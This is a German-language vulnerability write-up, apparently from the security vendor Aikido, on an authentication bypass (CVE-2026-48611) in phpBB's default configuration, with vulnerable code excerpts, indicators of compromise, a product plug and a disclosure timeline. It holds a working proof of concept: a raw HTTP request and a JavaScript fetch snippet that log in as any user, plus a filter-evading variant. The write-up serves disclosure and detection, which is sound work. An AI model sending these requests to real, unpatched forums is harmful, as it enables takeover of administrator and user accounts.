Umgehung der Authentifizierung in der Standardkonfiguration von phpBB

Am 10. Juni haben wir eine kritische Sicherheitslücke in phpBB bekannt gegeben, die es Angreifern ermöglicht, die Authentifizierung zu umgehen; sie ist mittlerweile unter der Kennung CVE-2026-48611 bekannt. Dieser Beitrag ist eine Ergänzung dazu und enthält technische Details, die Angriffsszenarien und Erkennungsmethoden erläutern.

Um Ihnen einen Überblick zu verschaffen: phpBB ist eine alte Forensoftware, die auch heute noch von verschiedenen technischen Communities genutzt wird. Allein die „Site Showcase“-Plattform von phpBB zählt über 6 Millionen Mitglieder. Zwar gab es in der Vergangenheit einige berüchtigte Angriffe, wie beispielsweise den „Santy“-Wurm im Jahr 2004, doch in der Zwischenzeit gab es kaum Probleme mit Sicherheitslücken. Diese Offenlegung durchbricht diesen Trend.

Im Rahmen unserer Recherchen zur Verbesserung unseres KI-Penetrationstest-Produkts machten uns die Agenten Aikido auf eine „kritische Umgehung der Authentifizierung“ in phpBB aufmerksam. Zunächst waren wir etwas skeptisch. Sicherlich handelte es sich um einen Konfigurationsfehler oder einen Sonderfall, den wir bei der Einrichtung vermasselt hatten. Doch nichts hätte weiter von der Wahrheit entfernt sein können.

Die entdeckte Sicherheitslücke funktioniert in der Standardkonfiguration und erfordert lediglich eine einzige nicht authentifizierte Anfrage, um sich vollständig bei einem beliebigen Konto anzumelden. Durch die Anmeldung bei einem Administratorkonto könnten Sie die Kontrolle über das gesamte Forum erlangen!

Nachdem wir dies bemerkt hatten, meldeten wir die Sicherheitslücke umgehend auf HackerOne und erhielten die Bestätigung, dass sie innerhalb von weniger als 9 Minuten geprüft wurde!

Vier Tage später wurde ein Patch in Version 3.3.17 veröffentlicht, der die Sicherheitslücke behebt. Wenn Sie ein phpBB-Forum verwalten, sollten Sie so schnell wie möglich auf diese Version aktualisieren, falls Sie dies noch nicht getan haben.

Wir werden uns nun genauer ansehen, welche Teile des Codes anfällig waren und wie sie ausgenutzt werden konnten. Spoiler: Es handelt sich nicht um den wahnsinnig komplizierten Exploit, den man vielleicht erwarten würde…

Umgehung der Authentifizierung

Das hängt alles damit zusammen, wie der Anmeldevorgang in phpBB genau funktioniert. Nicht der Hauptablauf der Anmeldung, sondern speziell die Funktion „Anmelde-Link“. Bei der Verbindung mit externen Diensten wie Google oder GitHub OAuth dient diese Funktion dazu, das Konto mit einem bestehenden Konto auf der phpBB-Instanz zu verknüpfen oder ein neues Konto zu registrieren.

Wenn Sie sich dafür entscheiden, es mit einem bestehenden Konto zu verknüpfen, werden Sie aufgefordert, sich mit den mode=login_link Abfrageparameter. Wenn Sie diesen übermitteln, wird nach der Anmeldung eine Verbindung zum OAuth-Konto hergestellt.

Der Callback wird von ucp_login_link.php und sucht zunächst nach login_link_* Daten als Abfrageparameter, die nicht leer sein dürfen. Diese werden hier extrahiert:

class ucp_login_link {
    function main($id, $mode) {
        ...
        $data = $this->get_login_link_data_array();
        if (empty($data)) {
            $login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
        }
        ...
    }
}

protected function get_login_link_data_array() {
    ...
    foreach ($var_names as $var_name) {
        if (strpos($var_name, 'login_link_') === 0) {
            $key_name = substr($var_name, $string_start_length);
            $login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
        }
    }

Glücklicherweise lässt sich das leicht umgehen, indem man einige Dummy-Daten hinzufügt, wie zum Beispiel login_link_aikido=1. Das führt dazu, dass die $data nicht leer ist, und wir können mit dem Ablauf fortfahren.

Weiter unten im Code fällt uns etwas Merkwürdiges auf. Wir haben die Kontrolle über die auth_provider Abfrageparameter:

// Den angeforderten Auth-Provider verwenden, auch wenn er vom konfigurierten abweicht
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));

Der Wert wird normalerweise nur auf oauth, aber wir können das vollständig steuern. Damit soll dem phpBB-Server mitgeteilt werden, welcher Anbieter für die Authentifizierungsüberprüfung verwendet werden soll – beispielsweise, wenn sowohl eine lokale Datenbank als auch die OAuth-Authentifizierung konfiguriert sind. Aber was passiert, wenn wir andere Werte angeben?

phpBB definiert all diese als Klassen unter phpbb/auth/provider. Es gibt einen namens apache.php Das ist ganz einfach, ein bisschen auch einfach:

class apache extends base {
    public function login($username, $password) {
        $php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
        $php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);

        if (!empty($php_auth_user) && !empty($php_auth_pw)) {
            // Basic auth username must match submitted username
            if ($php_auth_user !== $username) {
                return array('status' => LOGIN_ERROR_USERNAME, ...);
            }

            // Look up user in database
            $sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
                FROM ' . USERS_TABLE . "
                WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
            $result = $this->db->sql_query($sql);
            $row = $this->db->sql_fetchrow($result);
            $this->db->sql_freeresult($result);

            if ($row) {
                // User inactive
                if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
                    return array('status' => LOGIN_ERROR_ACTIVE, ...);
                }

                // Successful login
                return array('status' => LOGIN_SUCCESS, ...);
            }

Es wird überprüft, ob der übermittelte Benutzername übereinstimmt PHP_AUTH_USER (entschlüsselt Basis (Benutzername für die Authentifizierung), sucht den Benutzer und gibt dann einfach LOGIN_SUCCESS. Aber eines fehlt noch: eine Passwortprüfung!

Herzlichen Glückwunsch, Sie haben gerade eine kritische Sicherheitslücke bei phpBB entdeckt, die eine Umgehung der Authentifizierung ermöglicht! Durch die Auswahl eines unerwarteten Anbieters wie Apache, können wir das Passwort überspringen und uns als beliebiger Benutzer anmelden.

Um jegliche Unklarheiten auszuräumen: Die Betreuer haben hier nicht einfach „vergessen“, eine Passwortprüfung einzubauen. Die beabsichtigte Funktionalität der Apache Der Anbieter geht davon aus, dass die Authentifizierung vom Apache-Proxy übernommen wird, und zwar mit .htpasswd, und jede Anfrage muss zunächst darüber laufen. phpBB vertraut in diesem Fall einfach dem Benutzernamen, der im Header der Basic-Authentifizierung übermittelt wird.

Was wir hier getan haben, war, den Apache Anbieter, ohne dass Apache konfiguriert werden muss, und zwar über eine Funktion, die ausschließlich für oauth. In diesem Fall wird der Client direkt zum „vertrauenswürdigen Proxy“, und wir können jeden beliebigen Benutzernamen übermitteln, den er wünscht.

Wir können also eine Anfrage senden, die den Login-Link-Ablauf mit gültigen Daten und einem Benutzernamen unserer Wahl auslöst, den Handler jedoch so einstellen, dass Apache um die Passwortprüfung zu umgehen. Benutzernamen sind auf phpBB-Instanzen nicht schwer zu finden, was es einfach macht, sich als Administrator oder Moderator anzumelden.

All dies funktioniert in der Standardkonfiguration von phpBB, was die Sache umso gefährlicher macht

Proof of Concept

Diese Sicherheitslücke lässt sich leicht nachstellen. Auf jeder lokalen phpBB-Instanz ermöglicht die folgende HTTP-Anfrage eine Umgehung der Anmeldung bei der admin Benutzer (als Base64 kodiert in der Autorisierung: Kopfzeile wie admin:x zu YWRtaW46eA==).

POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Host: phpbb.local
Content-Length: 49
Authorization: Basic YWRtaW46eA==
Content-Type: application/x-www-form-urlencoded

login_username=admin&login_password=x&login=Anmelden

Bei einer erfolgreichen Antwort werden die Cookies gesetzt und der Nutzer wird auf die Startseite weitergeleitet. Der Angreifer ist dann vollständig in dem Zielkonto angemeldet.

HTTP/1.1 302 Gefunden
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31
Set-Cookie: phpbb_f4xf4_u=1; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_u=2; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; Pfad=/; Domäne=phpbb.local; HttpOnly
Location: http://phpbb.local/index.php/
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Um die oben genannte Anfrage zu generieren, kann der folgende JavaScript-Code in der DevTools-Konsole einer beliebigen Instanz ausgeführt werden:

const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
  method: "POST",
  headers: {
    Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
  },
  body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});

Wenn man die Webseite anschließend neu lädt, wird angezeigt, dass der Angreifer bei dem betroffenen Konto angemeldet ist:

Indikatoren für Kompromittierung

Überprüfen Sie die Anforderungsprotokolle auf POST-Anfragen, die auth_provider=apache und mode=login_link Abfrageparameter zusammen. Dies ist die häufigste Angriffsmethode. Siehe die Beispielanfrage oben.

Beachten Sie jedoch, dass phpBB beide Parameter ebenfalls aus dem POST-Body ausliest, sodass diese Parameter Vorrang vor GET-Parametern haben. Eine Anfrage zur Umgehung des Filters kann dann wie eine normale mode=login, während man tatsächlich mode=login_link im Körper. login_link_* ist nach wie vor ein erforderlicher Abfrageparameter, sodass er als Indikator für eine verdächtige Anfrage dienen und anschließend manuell weiter analysiert werden kann. Das könnte beispielsweise so aussehen:

POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1
Host: phpbb.local
Content-Length: 86
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWRtaW46eA==

login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=Login

Genau solche Probleme deckt Aikido bei einem normalen Durchlauf auf. Es spürt Authentifizierungsumgehungen, IDORs und Logikfehler auf, genau wie es ein echter Angreifer tun würde, und überprüft anschließend jeden einzelnen Fall, sodass Sie nur die tatsächlich ausnutzbaren Schwachstellen sehen. Wenden Sie es auf Ihre eigenen Anwendungen an und sichern Sie diese im Handumdrehen ab.

Zeitplan

• 2. Juni 2026, 20:22 Uhr – Bericht an das VDP-Programm von „https://hackerone.com/phpbb“ übermittelt
• 2. Juni 2026, 20:31 Uhr – Der Bericht wurde vom phpBB-Team geprüft (genau, in nur 9 Minuten!)
• 6. Juni 2026, 16:26 Uhr – Version 3.3.17 mit einem Patch wurde veröffentlicht
• 10. Juni 2026, 12:33 Uhr – Wir veröffentlichen eine erste Mitteilung, um die Nutzer zu warnen
• 10. Juni 2026, 19:33 Uhr – Die phpBB-Betreuer bitten uns, vier Wochen zu warten, bevor wir technische Details veröffentlichen
• 3. Juli 2026, 2:45 Uhr – Dieser Fachartikel wird veröffentlicht